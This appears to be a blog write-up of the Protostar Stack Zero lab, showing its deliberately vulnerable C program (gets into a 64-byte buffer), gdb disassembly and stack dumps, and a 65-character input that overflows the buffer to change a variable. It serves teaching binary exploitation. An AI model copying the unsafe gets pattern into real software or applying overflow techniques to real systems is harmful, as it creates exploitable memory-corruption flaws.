2af291876fa650172f02b2a85699a10f29f7d3cf325bb70183d4e06e1dacc157

Introduction Link to heading

Protostar Stack Zero is a basic buffer overflow challenge designed to teach the fundamentals of stack-based exploitation. The goal is to modify a specific variable by overflowing the buffer.

This level introduces the concept of accessing memory outside its allocated region, understanding stack variable layout, and how modifying memory outside the allocated region can affect program execution.

The level is located at /opt/protostar/bin/stack0.

Tools Used Link to heading

gdb - The GNU Debugger

Initial Analysis Link to heading

Binary File Information Link to heading

First, we check the file type of the binary to understand its properties.

user@protostar:/opt/protostar/bin$ file ./stack0
./stack0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

This information indicates that the binary is a 32-bit ELF executable for Linux.

Source Code Link to heading

The provided source code is analyzed to understand its functionality.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    volatile int modified; // This variable will be changed by the overflow
    char buffer[64]; // Buffer that will be overflowed

    modified = 0; // Initialize modified to 0
    gets(buffer); // Unsafe function that can cause buffer overflow

    if (modified != 0)
    {
        printf("You have changed the 'modified' variable\n"); // Success message
    }
    else
    {
        printf("Try again?\n"); // Failure message
    }
}

Initial Execution Link to heading

Running the binary initially to observe its behavior.

user@protostar:/opt/protostar/bin$ ./stack0
[stdin]
Try again?

Entering random input shows the “Try again?” message, indicating that the modified variable remains unchanged.

Detailed Walkthrough Link to heading

Step 1: Run the binary using The GNU Debugger (gdb) Link to heading

First, we need to start the GNU Debugger with the binary we want to analyze. This will allow us to inspect the program’s execution and debug it effectively.

user@protostar:/opt/protostar/bin$ gdb ./stack0

Step 2: Identifying Functions Link to heading

Listing all defined functions to understand the binary structure.

(gdb) info functions
All defined functions:

File stack0/stack0.c:
int main(int, char **);

Non-debugging symbols:
0x080482bc  _init
0x080482fc  __gmon_start__
0x080482fc  __gmon_start__@plt
0x0804830c  gets
0x0804830c  gets@plt
0x0804831c  __libc_start_main
0x0804831c  __libc_start_main@plt
0x0804832c  puts
0x0804832c  puts@plt
0x08048340  _start
0x08048370  __do_global_dtors_aux
0x080483d0  frame_dummy
0x08048440  __libc_csu_fini
0x08048450  __libc_csu_init
0x080484aa  __i686.get_pc_thunk.bx
0x080484b0  __do_global_ctors_aux
0x080484dc  _fini

Step 3: Analyzing the Assembly Code with GDB Link to heading

Disassembling the main function to understand the stack layout and variable placement.

(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    and    $0xfffffff0,%esp
0x080483fa <main+6>:    sub    $0x60,%esp
0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)
0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    0x5c(%esp),%eax
0x08048415 <main+33>:   test   %eax,%eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   movl   $0x8048500,(%esp)
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   movl   $0x8048529,(%esp)
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave  
0x08048434 <main+64>:   ret    
End of assembler dump.

Correspondence Between Source Code and Assembly Code Link to heading

Function Prologue Link to heading 

0x080483f4 <main+0>:    push   %ebp                 # Save the old base pointer (function prologue)
0x080483f5 <main+1>:    mov    %esp,%ebp            # Set the new base pointer

These instructions save the old base pointer and set up the new base pointer for the current stack frame.

Stack Alignment and Allocation Link to heading 

0x080483f7 <main+3>:    and    $0xfffffff0,%esp     # Align stack pointer to 16-byte boundary
0x080483fa <main+6>:    sub    $0x60,%esp           # Allocate 96 bytes on the stack

These instructions align the stack to a 16-byte boundary and allocate 96 bytes on the stack for local variables (buffer and modified).

Initializing modified Link to heading 

0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)      # Initialize 'modified' to 0 (modified = 0)

This sets modified to 0.

Calling gets Link to heading 

0x08048405 <main+17>:   lea    0x1c(%esp),%eax      # Load address of 'buffer' into %eax (buffer is at %esp + 28)
0x08048409 <main+21>:   mov    %eax,(%esp)          # Set up argument for gets() call (gets(buffer))
0x0804840c <main+24>:   call   0x804830c <gets@plt> # Call gets() function

These instructions load the address of buffer and call the gets function.

Checking modified Link to heading 

0x08048411 <main+29>:   mov    0x5c(%esp),%eax      # Load 'modified' into %eax
0x08048415 <main+33>:   test   %eax,%eax            # Test if 'modified' is 0
0x08048417 <main+35>:   je     0x8048427 <main+51>  # If 'modified' == 0, jump to "Try again?" message

These instructions check if modified is 0. If it is, they jump to the “Try again?” message.

Printing “you have changed the ‘modified’ variable” Link to heading 

0x08048419 <main+37>:   movl   $0x8048500,(%esp)    # Set up argument for printf() (address of "you have changed the 'modified' variable\n")
0x08048420 <main+44>:   call   0x804832c <puts@plt> # Call puts() function to print the message 
0x08048425 <main+49>: jmp    0x8048433 <main+63>    # Jump to the function epilogue

These instructions set up the argument for puts and call it to print the message.

Printing “Try again?” Link to heading 

0x08048427 <main+51>:   movl   $0x8048529,(%esp)    # Set up argument for printf() (address of "Try again?\n")
0x0804842e <main+58>:   call   0x804832c <puts@plt> # Call puts() function to print the message

These instructions set up the argument for puts and call it to print the “Try again?” message.

Function Epilogue Link to heading 

0x08048433 <main+63>:   leave                       # Restore old base pointer and stack pointer (function epilogue)
0x08048434 <main+64>:   ret                         # Return from main

These instructions restore the old base pointer and stack pointer and return from the main function.

Step 4: Setting Breakpoints Link to heading

Setting a breakpoint to inspect when the modified variable is checked.

(gdb) break *main+29
Breakpoint 1 at 0x8048411
(gdb) run
Starting program: /opt/protostar/bin/stack0

Step 5: Providing Input to Overflow the Buffer Link to heading

To overflow the buffer and modify the modified variable, provide an input of 65 characters: 64 characters to fill the buffer and one additional character to trigger the overflow.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB

Step 6: Verifying the Overflow Link to heading

Checking the values of the registers to validate the addresses on the stack using the stack pointer (esp) and the base pointer (ebp).

(gdb) info registers
eax            0xbffff76c -1073744020
ecx            0xbffff76c -1073744020
edx            0xb7fd9334 -1208118476
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff750 0xbffff750
ebp            0xbffff7b8 0xbffff7b8
eip            0x8048411 0x8048411 <main+29>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Step 7: Confirming the Buffer Overflow Link to heading

Checking the stack to confirm the buffer overflow. Notice that 0x41 represents the letter ‘A’ and 0x42 represents the letter ‘B’.

(gdb) x/27wx $esp
0xbffff750:    0xbffff76c    0x00000001    0xb7fff8f8    0xb7f0186e
0xbffff760:    0xb7fd7ff4    0xb7ec6165    0xbffff778    0x41414141
0xbffff770:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff780:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff790:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff7a0:    0x41414141    0x41414141    0x41414141    0x00000042
0xbffff7b0:    0x08048450    0x00000000    0xbffff838

Buffer Overflow Demonstration Link to heading

Running the program with the crafted input to trigger the buffer overflow:

user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
you have changed the 'modified' variable

Conclusion Link to heading

The Protostar Stack Zero challenge demonstrates a fundamental stack buffer overflow vulnerability. The gets function, which does not check the length of the input, allows an overflow of the buffer array. By providing an input string of 65 characters (64 for the buffer and 1 to overwrite modified), the modified variable is changed from 0 to a non-zero value. This exercise effectively illustrates the risks of unchecked input in software and serves as an introductory example of binary exploitation techniques.

Comments and Feedback Link to heading

Challenge Evaluation Link to heading

  • Educational Value: This challenge is an excellent introduction to buffer overflow vulnerabilities and stack-based exploitation.
  • Clarity: The task is clearly defined, making it accessible for beginners.
  • Relevance: Understanding buffer overflows is critical for security professionals, making this challenge highly relevant.

Suggestions for Improvement Link to heading

  • Additional Challenges: Incorporate subsequent exercises that build on this foundation, introducing more complex scenarios and mitigations.
  • In-Depth Explanations: Provide more detailed explanations of assembly instructions and their real-world implications.

References and Further Reading Link to heading

Documentation Link to heading

  • GDB Documentation: Comprehensive guide to the GNU Debugger, essential for understanding and debugging binary programs.
  • Protostar Introduction: An overview of the Protostar series, which includes a range of binary exploitation challenges.

Educational Articles Link to heading

Deprecated Function: char * gets (char *s) Link to heading

The gets function, described in the GNU C Library reference manual, is inherently unsafe because it does not perform bounds checking on the input. It reads characters from stdin until a newline character is encountered, discarding the newline. Due to its lack of input validation, gets can easily cause buffer overflows, leading to potential security vulnerabilities. The use of safer alternatives such as fgets or getline is strongly recommended.

Source: Loosemore, S., Stallman, R. M., McGrath, R., Oram, A., & Drepper, U. (2023). The GNU C Library reference manual (Version 2.38). Free Software Foundation, Inc. Chapter 12: Input/Output on Streams (p. 286).